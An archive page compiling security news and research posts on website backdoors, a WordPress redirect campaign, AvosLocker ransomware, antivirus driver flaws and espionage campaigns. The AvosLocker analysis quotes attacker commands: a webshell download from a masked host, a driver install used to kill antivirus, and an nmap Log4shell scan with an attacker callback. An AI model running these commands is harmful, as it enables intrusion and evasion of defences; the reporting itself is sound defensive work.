Software Archives - Page 61 of 62

Examining Emerging Backdoors

Next up in our “This didn’t quite make it into the 2021 Threat Report, but is still really cool” series: New backdoors!

Backdoors are a crucial component of a website infection. They allow the attackers ongoing access to the compromised environment and provide them a “foot in the door” to execute their payload. We see many different types of backdoors with varying functionality.

When our malware research team is provided with a new backdoor they need to write what’s called a “signature” to ensure that we detect and remove it in future security scans. Signatures need names, and over the years we’ve developed something of a taxonomy naming system for all of the different malware that we come across.

In this article we’re going to explore all the different categories of signatures for newly-discovered backdoors throughout the year 2021.

How do Backdoors Work?

HTTP requests to websites typically fall into one of the following categories:

POST – sending data to a website
GET – requesting data from a website
COOKIE – data (such as session data) saved from a website
REQUEST – a conjunction of all/any of the three

We see all sorts of different backdoors while cleaning up compromised websites. Sometimes they use one of these types of requests, or a combination of multiple different types.

We’ve broken all newly generated signatures from 2021 down for further analysis into the following categories:

A graph showing the distribution of new backdoor signatures generated in 2021.

Uploaders

By far the most common type of backdoor found in 2021 was an uploader: That is, a PHP script that allows the attackers to upload any file that they want. These malicious files allow anyone with the correct URL path, parameters and (occasionally) access credentials to upload whichever files they want to the web server. Typically, bad actors use these backdoors to upload a webshell, spam directory, dropper, or other type of file giving them full control over the environment.

To avoid detection, attackers are always tweaking their malware by using new methods of obfuscation or concealing backdoors within legitimate-looking images, core files, plugins, or even themes — this can make malicious file uploaders difficult to detect during a casual site review.

Once an attacker has identified a vulnerable environment that they can get a foothold in, planting the uploader is often the next step. After that they have enough access to upload more complicated access points such as a webshell.

Of course there are legitimate uploader scripts, as many websites require functionality to allow users to upload photos or other content to the website. To mitigate risk, secure uploader scripts contain strict rules on how they are able to behave:

Only certain file types/extensions are allowed (usually image, or document files)
May require authorisation cookies to be set
May place files in a restricted directory with PHP execution disabled
May disable direct access and instead need to be called by the existing CMS structure

Malicious uploaders, on the other hand, have no such restrictions as they are designed to upload malicious files and PHP scripts.

WebShells

Webshells are a classic type of malware that have been used by attackers for many years. They are administrative dashboards that give the attacker full access to the files and often provide a large amount of information about the hosting environment including operating system, PHP settings, web server configurations, file management, and SQL connections.

The classic FilesMan shell continues to be very popular with attackers. In 2021 we generated 20 new signatures related to new filesman variants alone, not including hack tools which grab filesman shells from remote servers.

Interestingly, a lot of malicious web shells provide far superior functionality than a lot of file managers provided by web hosting providers.

Misc RCE

Sometimes remote code execution backdoors are a little more complicated, or just rely on more basic/generic $_REQUEST calls. This is a PHP global array that contains the content of GET, POST and COOKIE inputs. The content of these variables could be anything and the attacker can fill them — e.g. with the payload — which is then processed. Sometimes the entire payload code is stored there and only very simple code snippets are injected into legitimate files. Such a snippet only loads and executes the content of these variables.

Other times, RCE backdoors make use of multiple different functions and request types.

Generic

Not falling into any particular category are our collection of “generic” backdoors. They tend to use a mixture of different functions and methods to maintain backdoor access to the environment. Some are heavily obfuscated and others are mostly in plain text, but what unites them is that they don’t rely on any one technique to backdoor the environment in which they reside.

FILE_GET_CONTENTS

The PHP function file_get_contents fetches a local file or remote file. As far as backdoors are concerned, attackers misuse this function to grab malicious files located on other websites or servers and add it to the victim’s website. This allows them to host the actual malicious content elsewhere, while maintaining all of the same functionality on the victim environment.

Here we have a very simple backdoor using file_get_contents to grab a backdoor from a malicious server. The actual address is obfuscated through use of a URL shortening service:

The footprint of this malware is very small as the payload resides elsewhere, but the functionality is potentially huge.

Remote Code Execution Backdoors

Not to be confused with remote code execution vulnerabilities, these backdoors are crafted to take whatever command is issued to it by the attacker and execute it in the victim’s environment. These PHP backdoors are often more complex than uploaders and allow the attackers more leeway in terms of how they can interact with the victim website.

If a request is sent that matches the parameters of the backdoor it will execute whichever command the attacker instructs so long as it doesn’t get blocked by any security software or firewall running within the environment.

Here’s another example of a quite well hidden RCE backdoor in a Magento environment:

A well-hidden RCE backdoor in a Magento environment

Attackers make heavy use of the eval function which executes the command in the victim environment.

FILE_PUT_CONTENTS

These backdoors utilise the PHP function file_put_contents which will write the instructed content to a file on the victim environment.

Here is an example of such a backdoor lodged in a WordPress configuration file wp-config.php:

This backdoor writes the specified malicious content into the file structure of the victim website given the correct parameters in the attacker’s request, allowing them to infect other files on the server with the content of their choice.

cURL

The curl() function facilitates the transmission of data. It can be used maliciously to download remote code which can be executed or directly displayed. This way, malware authors are able to create a small backdoor that only has this curl functionality implemented while the payload itself can be downloaded from a remote source.

It has many uses, and as such can be misused in many ways by attackers. We have seen it used frequently in credit card skimmers to transmit sensitive details to exfiltration destinations. It can also be used in RCE backdoors:

Since the attackers have crafted a backdoor to (mis)use curl, and they control the parameters under which it will function, in this way they are able to send or receive malicious traffic to and from the website, depending on how the backdoor is designed.

Authentication Bypass

These types of backdoors are most often seen in WordPress environments. They are small PHP scripts which allow the attacker to automatically log in to the administrator panel without needing to provide any password.

As long as they include the database configuration file in the script then they are able to set the necessary cookies for authorization, as seen in this example here:

A backdoor which bypasses normal authentication

The existence of such backdoors presents a case that additional authentication requirements should be employed within website environments. Protecting your admin panel with our firewall’s protected page feature is a great way to do this.

If you’re not a user of our firewall there are a lot of other ways that your admin panel can be protected.

Basic RCE via POST

Backdoors that take input through POST requests are quite common and many of the backdoor types that we’ve seen contain such functionality. Some of them, however, are quite small and rely exclusively on POST requests.

The example below shows one such backdoor, coupled with basic password protection to ensure that the backdoor is not used by anybody that does not have access to the password.

A basic remote code execution backdoor which uses POST

Fake Plugins

Another tactic that we’ve seen attackers use is the use of fake plugins. This is frequently used as a payload to deliver spam and malware, since WordPress will load the components present in the ./wp-content/plugins directory.

We’ve also seen attackers use these plugins as backdoors to maintain access to compromised environments.

A fake plugin in a WordPress environment

Since admin panel compromises are a very common attack vector, the usage of fake/malicious backdoor plugins is quite popular with attackers.

System Shell Backdoors

Attackers have also written malware that interacts with the hosting environment itself and will attempt to run shell commands via PHP scripts in the environment. This is not always possible, depending on the security settings of the environment, but here’s an example of one such backdoor:

If system() is disabled in the environment then these will not work, so the functionality of such backdoors will be limited by the security settings in the host.

COOKIE Based Backdoors

Some malware creators use COOKIES as a storage for various data. These can be decryption keys used to decode an otherwise inaccessible payload, or even the entire malicious payload itself.

CREATE_FUNCTION

The create_function() is often used by malware instead of (or in conjunction with) the eval() function to hide the execution of the malicious code. The payload is encapsulated inside the crafted custom function, often with an obfuscated name to make the functionality less clear.

This function is then called somewhere else within the code, and thus the payload is evaluated. Backdoors have been found to abuse this to place their payload back on the infected website after it was removed.

A backdoor which creates a malicious function in the victim environment

RCE via GET

Backdoors have also been seen using GET requests for input, rather than POST requests. In the example below we can see that the backdoor will execute the malicious payload if a GET request contains a certain string.

A remote code execution backdoor which uses GET

This allows the attackers to restrict the usage of the backdoor to only those who know the exact parameters to specify in the malicious GET request to the website. If the correct parameters are given then the backdoor will execute its intended function.

Database Management Backdoors

Most often attackers will misuse tools such as Adminer to insert malicious content into the victim website’s database, but occasionally we have seen them craft their own database management tools. This allows them to insert admin users into the website as well as inject malicious JavaScript into the website content to redirect users to spam or scam websites or steal credit card information from eCommerce environments.

Conclusion & Mitigation Steps

Backdoors play a crucial role for the attackers in a huge number of website compromises. Once the attackers are able to gain a foothold into an environment their goal is to escalate the level of access they have as much as possible. Certain vulnerabilities will provide them access only to certain directories. For example, a subdirectory of the wp-content/uploads area of the file structure.

Often the first thing they will do is place a malicious uploader or webshell into the environment, giving them full control over the rest of the website files. Once that is established they are able to deliver a payload of their choosing.

If default configurations are in place in a standard WordPress/cPanel/WHM configuration a single compromised admin user on a single website can cause the entire environment to be infected. Attackers can move laterally throughout the environment by the use of symlinks even if the file permissions/ownership are configured correctly.

Malicious actors are writing new code daily to try to evade existing security detections. As security analysts and researchers it’s our job to stay on top of the most recent threats and ensure that our tools and monitoring detect it all.

Throughout the year 2021 we added hundreds of new signatures for newly discovered backdoors. I expect we’ll also be adding hundreds more this year.

If you’d like us to help you monitor and secure your website from backdoors and other threats you can sign up for our platform-agnostic website security services.

Source :
https://blog.sucuri.net/2022/05/examining-emerging-backdoors.html

Massive WordPress JavaScript Injection Campaign Redirects to Ads

Our remediation and research teams regularly find malicious redirects on client sites. These infections automatically redirect site visitors to third-party websites with malicious resources, scam pages, or commercial websites with the intention of generating illegitimate traffic.

As outlined in our latest hacked website report, we’ve been tracking a long-lasting campaign responsible for injecting malicious scripts into compromised WordPress websites. This campaign leverages known vulnerabilities in WordPress themes and plugins and has impacted an enormous number of websites over the year — for example, according to PublicWWW, the April wave for this campaign was responsible for nearly 6,000 infected websites alone.

Since these PublicWWW results only show detections for simple script injections, we can assume that the scope is significantly larger.

Investigating Obfuscated JavaScript in WordPress Sites

We recently investigated a number of WordPress websites complaining about unwanted redirects. Interestingly enough, they were found to be related to a new wave of this massive campaign and were sending website visitors through a series of website redirects to serve them unwanted ads.

The websites all shared a common issue — malicious JavaScript had been injected within their website’s files and the database, including legitimate core WordPress files such as:

./wp-includes/js/jquery/jquery.min.js
./wp-includes/js/jquery/jquery-migrate.min.js

Once the website had been compromised, attackers had attempted to automatically infect any .js files with jQuery in the names. They injected code that begins with “/* trackmyposs*/eval(String.fromCharCode…”

However, it was clear that the attackers had taken some measures to evade detection and had obfuscated their malicious JavaScript with CharCode, as seen below.

Malicious JavaScript injection obfuscated with CharCode

Once deobfuscated, the true behavior of the injection emerged.

Deobfuscated malicious JavaScript redirects site visitors on page load

This JavaScript was appended under the current script or under the head of the page where it was fired on every page load, redirecting site visitors to the attacker’s destination.

Malicious Chain of Redirects

To accomplish these redirects, the malicious injection creates a new script element with the legendarytable[.]com domain as the source.

The code from the legendarytable[.]com domain then calls to a second external domain — local[.]drakefollow[.]com — which calls from links[.]drakefollow[.]com, redirecting the site visitor to one of many different domains including:

bluestringline[.]com
browntouchmysky[.]com
redstringline[.]com
whitetouchmysky[.]com
gregoryfavorite[.]space
gregoryfavorite[.]top
pushnow[.]net/

At this point, it’s a free for all. Domains at the end of the redirect chain may be used to load advertisements, phishing pages, malware, or even more redirects.

From a site visitor’s perspective, they’ll simply see the following malware page before landing on the final destination.

This page tricks unsuspecting users into subscribing to push notifications from the malicious site. If they click on the fake CAPTCHA, they’ll be opted in to receive unwanted ads even when the site isn’t open — and ads will look like they come from the operating system, not from a browser.

These sneaky push notification opt-in maneuvers also happen to be one of the most common ways attackers display “tech support” scams, which inform users that their computer is infected or slow and they should call a toll-free number to fix the problem.

Detecting Malicious JavaScript via SiteCheck

Client-side redirects are initiated by the site visitors’ browser once the infected web page has been loaded. Since this particular infection is found client-side, remote website scanners like SiteCheck can help scan a website and identify this malware.

Here’s an example of a SiteCheck results page for this specific campaign.

SiteCheck results for malicious Javascript injection

At the time of writing, PublicWWW has reported 322 websites impacted by this new wave for the malicious drakefollow[.]com domain. Considering that this count doesn’t include obfuscated malware or sites that have not yet been scanned by PublicWWW, the actual number of impacted websites is likely much higher.

Conclusion & Mitigation Steps

Our team has seen an influx in complaints for this specific wave of the massive campaign targeting WordPress sites beginning May 9th, 2022, which has impacted hundreds of websites already at the time of writing.

It has been found that attackers are targeting multiple vulnerabilities in WordPress plugins and themes to compromise the website and inject their malicious scripts. We expect the hackers will continue registering new domains for this ongoing campaign as soon as existing ones become blacklisted.

If you believe that your website has been infected with malicious JavaScript or you have found unwanted redirects to spam or ads on your site, you can use our free remote website scanner to detect the malware.

Website owners who have identified malware on their website can leverage the instructions found in our hacked WordPress cleanup guide — and, as always, we’re happy to help clean up an infection if you need a hand.

Source :
https://blog.sucuri.net/2022/05/massive-wordpress-javascript-injection-campaign-redirects-to-ads.html

AvosLocker Ransomware Variant Abuses Driver File to Disable Anti-Virus, Scans for Log4shell

We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.

Infection chain

fig1-avoslocker-ransomware-disables-av-scans-log4shell — Figure 1. AvosLocker infection chain

According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:

fig2-avoslocker-ransomware-disables-av-scans-log4shell — Figure 2. The ADSS exploit abusing CVE-2021-40539

Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.

Mapping the infection

The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.

fig3-avoslocker-ransomware-disables-av-scans-log4shell — Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.

fig4-avoslocker-ransomware-disables-av-scans-log4shell — Figure 4. HTA file connecting to the C&C

A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.

fig5-avoslocker-ransomware-disables-av-scans-log4shell — Figure 5. Obfuscated PowerShell script contains a shellcode

The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.

fig6-avoslocker-ransomware-disables-av-scans-log4shell — Figure 6. Gather system information

The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.

fig7-avoslocker-ransomware-disables-av-scans-log4shell — Figure 7. Executed with the /domain argument to collect username information

fig8-avoslocker-ransomware-disables-av-scans-log4shell — Figure 8. query user information for session data

The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.

fig9-avoslocker-ransomware-disables-av-scans-log4shell — Figure 9. The PowerShell downloading and installing AnyDeskMSI

We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.

fig10-avoslocker-ransomware-disables-av-scans-log4shell — Figure 10. Creating a new account with admin rights

fig11-avoslocker-ransomware-disables-av-scans-log4shell — Figure 11. Checking for anti-virus processes running

During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.

fig12-avoslocker-ransomware-disables-av-scans-log4shell — Figure 12. Terminating security products running

Tools and functions

Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:

Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.

fig13-avoslocker-ransomware-disables-av-scans-log4shell — Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk

We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.

fig14-avoslocker-ransomware-disables-av-scans-log4shell — Figure 14. Executing the anti-rootkit driver in the system

Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.

fig15-avoslocker-ransomware-disables-av-scans-log4shell — Figure 15. Detecting and deleting Mimikatz

We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.

fig16-avoslocker-ransomware-disables-av-scans-log4shell — Figure 16. Listing and terminating the security products found running in the compromised system

Verification: Manual replication of anti-virus disabling routine

We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :

EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc

fig17-avoslocker-ransomware-disables-av-scans-log4shell — Figure 17. Searching for processes

We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.

fig18-avoslocker-ransomware-disables-av-scans-log4shell — Figure 18. Driver file preparing to disable an anti-virus product

The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.

fig19-avoslocker-ransomware-disables-av-scans-log4shell — Figure 19. DeviceIoControl as an argument with the current process ID

Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.

fig20-avoslocker-ransomware-disables-av-scans-log4shell — Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).

Other executions and lateral movement

After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.

fig21-avoslocker-ransomware-disables-av-scans-log4shell — Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)

We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.

fig22-avoslocker-ransomware-disables-av-scans-log4shell — Figure 22. XenArmor password recovery tool execution

We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.

fig23-avoslocker-ransomware-disables-av-scans-log4shell — Figure 23. Checking for log4shell

We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.

fig24-avoslocker-ransomware-disables-av-scans-log4shell — Figure 24. Running more system network configuration discovery scans

Deploying across the network

We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.

fig25-avoslocker-ransomware-disables-av-scans-log4shell — Figure 25. Deploying malicious batch scripts to other endpoints

The deployed batch script has the following commands:

Disable Windows Update and Microsoft Defender

fig26-avoslocker-ransomware-disables-av-scans-log4shell — Figure 26. Disable Microsoft defense services

Prevents safeboot execution of security products

fig27-avoslocker-ransomware-disables-av-scans-log4shell — Figure 27. Prevent security products’ execution

Create new administrator account

fig28-avoslocker-ransomware-disables-av-scans-log4shell — Figure 28. Create new account

Add the AutoStart mechanism for the AvosLocker executable (update.exe)

fig29-avoslocker-ransomware-disables-av-scans-log4shell — Figure 29. Add Autostart for ransomware executable

Disables legal notice caption

fig30-avoslocker-ransomware-disables-av-scans-log4shell — Figure 30. Disable legal notice

Set safeboot with networking and disables Windows Error Recovery and reboot

fig31-avoslocker-ransomware-disables-av-scans-log4shell — Figure 31. Setting and disabling network and specific Windows functions

Conclusion

While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).

This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.

Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.

However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.

Avast responded to our notification with this statement:

“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.

The below example shows that the blocking works (output from the “sc start” command):

(SC) StartService FAILED 1275:

This driver has been blocked from loading

The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.

All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.

For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”

Indicators of Compromise (IOCs)

File	SHA256	Detection
Malicious batch file component	a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15	Trojan.BAT.KILLAV.YACAA
AvosLocker executable	05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5	Ransom.Win32.AVOSLOCKER.SMYXBLNT
Mimikatz executable (x32 and x64)	912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9	HackTool.Win64.MIMIKATZ.ZTJA
e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98	HackTool.Win32.Mimikatz.CNFW
Log4shell Nmap NSE script	ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96	Backdoor.Win32.CVE202144228.YACAH
Impacket tool	14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8	HackTool.Win32.Impacket.AA

Source :
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html

NIST Releases Updated Cybersecurity Guidance for Managing Supply Chain Risks

The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.

“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.

The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.

The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”

It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attacks targeting widely-used software to breach dozens of downstream vendors all at once.

According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”

“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”

Source :
https://thehackernews.com/2022/05/nist-releases-updated-guidance-for.html

Researchers Disclose Years-Old Vulnerabilities in Avast and AVG Antivirus

Two high-severity security vulnerabilities, which went undetected for several years, have been discovered in a legitimate driver that’s part of Avast and AVG antivirus solutions.

“These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded,” SentinelOne researcher Kasif Dekel said in a report shared with The Hacker News.

Tracked as CVE-2022-26522 and CVE-2022-26523, the flaws reside in a legitimate anti-rootkit kernel driver named aswArPot.sys and are said to have been introduced in Avast version 12.1, which was released in June 2016.

Specifically, the shortcomings are rooted in a socket connection handler in the kernel driver that could lead to privilege escalation by running code in the kernel from a non-administrator user, potentially causing the operating system to crash and display a blue screen of death (BSoD) error.

Vulnerabilities in Avast and AVG Antivirus

Worryingly, the flaws could also be exploited as part of a second-stage browser attack or to perform a sandbox escape, leading to far-reaching consequences.

Following responsible disclosure on December 20, 2021, Avast addressed the issues in version 22.1 of the software released on February 8, 2022. “Rootkit driver BSoD was fixed,” the company said in its release notes.

While there is no evidence that these flaws were abused in the wild, the disclosure comes merely days after Trend Micro detailed an AvosLocker ransomware attack that leveraged another issue in the same driver to terminate antivirus solutions on the compromised system.

Update: SentinelOne notes that the bug dates back to version 12.1, which it claims was released in January 2012. However, Avast’s own release notes show that version 12.1 was shipped in June 2016. We have reached out to SentinelOne for further comment, and we’ll update the story once we hear back.

Source :
https://thehackernews.com/2022/05/researchers-disclose-10-year-old.html

Chinese Hackers Caught Stealing Intellectual Property from Multinational Companies

An elusive and sophisticated cyberespionage campaign orchestrated by the China-backed Winnti group has managed to fly under the radar since at least 2019.

Dubbed “Operation CuckooBees” by Israeli cybersecurity company Cybereason, the massive intellectual property theft operation enabled the threat actor to exfiltrate hundreds of gigabytes of information.

Targets included technology and manufacturing companies primarily located in East Asia, Western Europe, and North America.

“The attackers targeted intellectual property developed by the victims, including sensitive documents, blueprints, diagrams, formulas, and manufacturing-related proprietary data,” the researchers said.

“In addition, the attackers collected information that could be used for future cyberattacks, such as details about the target company’s business units, network architecture, user accounts and credentials, employee emails, and customer data.”

Winnti, also tracked by other cybersecurity vendors under the names APT41, Axiom, Barium, and Bronze Atlas, is known to be active since at least 2007.

“The group’s intent is towards theft of intellectual property from organizations in developed economies, and with moderate confidence that this is on behalf of China to support decision making in a range of Chinese economic sectors,” Secureworks notes in a threat profile of the actor.

The multi-phased infection chain documented by Cybereason involves the exploitation of internet-facing servers to deploy a web shell with the goal of conducting reconnaissance, lateral movement, and data exfiltration activities.

It’s both complex and intricate, following a “house of cards” approach in that each component of the killchain depends on other modules in order to function, rendering analysis exceedingly difficult.

“This demonstrates the thought and effort that was put into both the malware and operational security considerations, making it almost impossible to analyze unless all pieces of the puzzle are assembled in the correct order,” the researchers explained.

The data harvesting is facilitated by means of a modular loader called Spyder, which is used to decrypt and load additional payloads. Also used are four different payloads — STASHLOG, SPARKLOG, PRIVATELOG, and DEPLOYLOG — that are sequentially deployed to drop the WINNKIT, a kernel-level rootkit.

Crucial to the stealthiness of the campaign is the use of “rarely seen” techniques such as the abuse of Windows Common Log File System (CLFS) mechanism to stash the payloads, enabling the hacking group to conceal their payloads and evade detection by traditional security products.

Interestingly, parts of the attack sequence were previously detailed by Mandiant in September 2021, while pointing out the misuse of CLFS to hide second-stage payloads in an attempt to circumvent detection.

The cybersecurity firm attributed the malware to an unknown actor, but cautioned that it could have been deployed as part of a highly targeted activity.

“Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files,” Mandiant said at the time. “This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.”

WINNKIT, for its part, has a compilation timestamp of May 2019 and has almost zero detection rate in VirusTotal, highlighting the evasive nature of the malware that enabled the authors to stay undiscovered for years.

The ultimate goal of the intrusions, the researchers assessed, is to siphon proprietary information, research documents, source code, and blueprints for various technologies.

“Winnti is one of the most industrious groups operating on behalf of Chinese state-aligned interests,” Cybereason said. “The threat [actor] employed an elaborate, multi-stage infection chain that was critical to enabling the group to remain undetected for so long.”

Source :
https://thehackernews.com/2022/05/chinese-hackers-caught-stealing.html

Google Releases First Developer Preview of Privacy Sandbox on Android 13

Google has officially released the first developer preview for the Privacy Sandbox on Android 13, offering an “early look” at the SDK Runtime and Topics API to boost users’ privacy online.

“The Privacy Sandbox on Android Developer Preview program will run over the course of 2022, with a beta release planned by the end of the year,” the search giant said in an overview.

A “multi-year effort,” Privacy Sandbox on Android aims to create technologies that’s both privacy-preserving as well as keep online content and services free without having to resort to opaque methods of digital advertising.

The idea is to limit sharing of user data with third-parties and operate without cross-app identifiers, including advertising ID, a unique, user-resettable string of letters and digits that can be used to track users as they move between apps.

Google originally announced its plans to bring Privacy Sandbox to Android earlier this February, following the footsteps of Apple’s App Tracking Transparency (ATT) framework.

Integral to the proposed initiative are two key solutions —

SDK Runtime, which runs third-party code in mobile apps such as software development kits (SDKs), including those for ads and analytics, in a dedicated sandbox, and
Topics API, which gleans “coarse-grained” interest signals on-device based on a user’s app usage that are then shared with advertisers to serve tailored ads without cross-site and cross-app tracking

To address criticisms that the model could possibly give Google an unfair advantage, the tech behemoth noted that the privacy-oriented systems will be developed as part of the Android Open Source Project (AOSP) to ensure transparency into the design and implementation of these solutions.

“Android will collaborate with the entire industry and app ecosystem on the journey to a more privacy-first mobile platform, and one which supports a rich diversity of value-exchange that benefits users, developers, and advertisers,” the company said.

Source :
https://thehackernews.com/2022/05/google-releases-first-developer-preview.html

Trend Micro Apex One triggers false positive with Microsoft Edge 101.0.1210.32

A quick note for administrators and users who use the Trend Micro Apex One product and at the same time use Microsoft Edge as a browser under Windows. I have now received numerous reports on the blog that Trend Micro Apex One is classifying the msedge_200_percent.pak file from Edge 101.0.1210.32 as malware/trojan. This is a false positive.

Microsoft Edge 101.0.1210.32

